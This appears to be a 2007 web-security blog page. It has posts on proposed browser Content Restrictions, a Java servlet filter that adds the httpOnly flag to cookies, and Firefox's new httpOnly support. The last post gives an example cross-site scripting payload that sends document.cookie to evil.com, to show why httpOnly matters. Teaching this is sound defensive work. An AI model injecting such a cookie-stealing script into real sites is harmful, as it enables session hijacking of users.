Showing posts with label browsers. Show all posts
Showing posts with label browsers. Show all posts

20070812

Content Restrictions - A Call for Input

Link

RSnake has had several conversations with the Mozilla team on some security features he would like to see, and the one they've latched onto is Content Restrictions. The idea is that a site can tell your browser "I only serve these types of content, don't accept anything else from me" RSnake has asked folks to provide their input on what they'd like to see.

Here's how I'd like to see that pan out:

  • The content-type restrictions probably should not go into an XML file, or the browser should have serious restrictions on the XML, such as not expanding entities, etc. If I can't trust the site for some reason, how am I to trust that the XML won't DoS my browser?
  • The content-type restrictions should probably come in headers (a la Etag's), not on a file on the root of the site (a-la robots.txt), because the restrictions may be different in different paths of the site - consider a single host that hosts several applications, each of those may return different types of content. This would also give applications the ability to dynamically change those restrictions (unfortunately, if there's header injection or response-splitting, the attack can certainly mangle these responses as well).
  • If I can tell a browser only to trust me so far, it would be wonderful to be able to extend this even further. For example: don't trust 302's from me that take you out of my domain (WOW!), don't send back any requests to me that wouldn't also send Cookie n. Only POST to me if post parameter n is included, don't ever GET, HEAD, TRACE, to these paths - only POST.
And then this is off the topic, but one feature I'd love to see is for the Yes or OK button to default to doing the right thing. For example, if a site has an expired certificate, if you click Yes, Yes means to do the very bad thing we just told you not to. Anti-phishing says Click Yes to visit this naughty site we've already determined is naughty. If they know it's naughty, they know what it's trying to spoof, so make Yes take you to the real site, not the fake one.

Be sure to send your input to RSnake.

20070720

httpOnly filter in Groovy

Link

I was able to make the httpOnly filter work in Groovy - the idea was really appealing to me. However, it turns out that it doesn't syntactically save just a whole lot of effort. While groovy has duck-typing, it doesn't get pushed down to Java, so you still have to type everything within the Filter. Furthermore, because it has to be recognized when the app loads, not dynamically, you still have the same compile/reload cycle as you do with a filter written in Java. The only syntactical advantage (that I've seen so far) is being able to short-circuit some of the tests because of "the Groovy truth" and when rendering, you get to use GStrings instead of .append over and over.

So there you have it - it's not that much cleaner to implement the filter in Groovy. I'll have to check the Grails API to see if they pass you a true HTTPServletResponse, or if there's any possibility of wrapping the response that gets injected into controllers to make the cookie re-writing simpler.

20070719

Servlet Filter for httpOnly

Link

Well, zot! It turns out that you can still get at the cookies by XHR's getAllResponseHeaders().

But since it's still not really that harmful to add it, I've thrown together a servlet filter for adding the attribute when addCookie() is called. Except for the httpOnly attribute, this is no safer than the existing addCookie - meaning if you had header injection flaws before, they're still there. Also, I didn't read RFC 2109 really carefully, so this may break version 1 cookies (however, RFC 2109 cookies are still considered experimental, and you wouldn't be using them by accident).

Now, your container probably has control over the session cookies, and those get added after all the filters run, so you'll still need to consult your app server's documentation to see how to get it to set httpOnly on the session cookie (the one cookie that needs it most).

Furthermore, this does not check for cookies being added by addHeader() or setHeader(). Whether you want to add similar checking to those or not is purely up to you.


public class HttpOnlyResponseWrapper extends HttpServletResponseWrapper {
private static SimpleDateFormat cookieFormat = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss zzz");

public HttpOnlyResponseWrapper(HttpServletResponse res) {
super(res);
}

public void addCookie(Cookie cookie) {
System.out.println("Adding cookie");
StringBuffer header = new StringBuffer();
if ((cookie.getName() != null) && (!cookie.getName().equals(""))) {
header.append(cookie.getName());
}
if (cookie.getValue() != null) {
// Empty values allowed for deleting cookie
header.append("=" + cookie.getValue());
}

if (cookie.getVersion() == 1) {
header.append(";Version=1");
if (cookie.getComment() != null) {
header.append(";Comment=\"" + cookie.getComment() + "\"");
}
if (cookie.getMaxAge() > -1) {
header.append(";Max-Age=" + cookie.getMaxAge());
}
} else {
if (cookie.getMaxAge() > -1) {
Date now = new Date();
now.setTime(now.getTime() + (1000L * cookie.getMaxAge()));
header.append(";Expires=" + HttpOnlyResponseWrapper.cookieFormat.format(now));
}
}

if (cookie.getDomain() != null) {
header.append(";Domain=" + cookie.getDomain());
}
if (cookie.getPath() != null) {
header.append(";Path=" + cookie.getPath());
}
if (cookie.getSecure()) {
header.append(";Secure");
}
header.append(";httpOnly");
addHeader("Set-Cookie", header.toString());
}
}

public class HttpOnlyFilter implements Filter {
private FilterConfig config;

@Override
public void destroy() {
this.config = null;
}

@Override
public void doFilter(ServletRequest req, ServletResponse res,
FilterChain chain) throws IOException, ServletException {
System.out.println("Got here");

HttpOnlyResponseWrapper hres = new HttpOnlyResponseWrapper((HttpServletResponse)res);
chain.doFilter(req, hres);
}

public FilterConfig getFilterConfig() {
return this.config;
}

@Override
public void init(FilterConfig config) throws ServletException {
this.config = config;
}
}

Firefox adds httpOnly attribute support!

Link

Thanks to Alex for discovering this for you. This is a feature that security people have been waiting for for a long, long time. Only I thought it was going to be much longer before it was available. I'll go over what httpOnly is, why it took so long, and what you should do about it.
Ordinarily, Javascript has access to the cookies that a user sends to a particular website. So you can access those cookies on the page itself from javascript via document.cookie. This is actually rarely necessary, but a handful of sites still use it, so it needs to stay available.
The problem with this is that if a site has a cross-site scripting vulnerability, then an attacker can gather cookies by cross-site scripting. For example, injecting the following script will send the cookies for a site (including session tokens) to evil.com:


document.write("<img src='http://evil.com/foo.png?cookie=" + document.cookie + "'>");

Internet Explorer added support for a cookie attribute in their cookies called httpOnly. By setting the httpOnly flag on cookies, javascript is not allowed direct access to those cookies with the attribute set. This is also why all the TRACE XHR vulnerabilities in IE were such a big deal - TRACE will send the cookies, and the response from TRACE is just text - so javascript has access to the cookies, only they're not cookies in the response - they're just text.
Firefox has been very slow in adding support for this. There was a large discussion about it, and the reason they were slow to add it is because the cookie store would have to be updated to store that information. But there are so many third-party applications that use access to the Firefox cookie store that they couldn't update the format cleanly. Now, that didn't prevent you from being able to use it before - the attribute was just ignored in Firefox.
Now that it's finally available, use it. If you're constructing the Set-cookie headers by hand, you can just add ;httpOnly yourself. If you're not, .NET allows you to set the attribute by configuration, and in some containers can add the attribute to the auto-generated session tokens themselves, or you can use a filter to add it. This will prevent direct access to session cookies in IE and newer versions of Firefox from accessing cookies directly by javascript, which is one of the more serious attacks available by cross-site scripting (clearly not the only one.)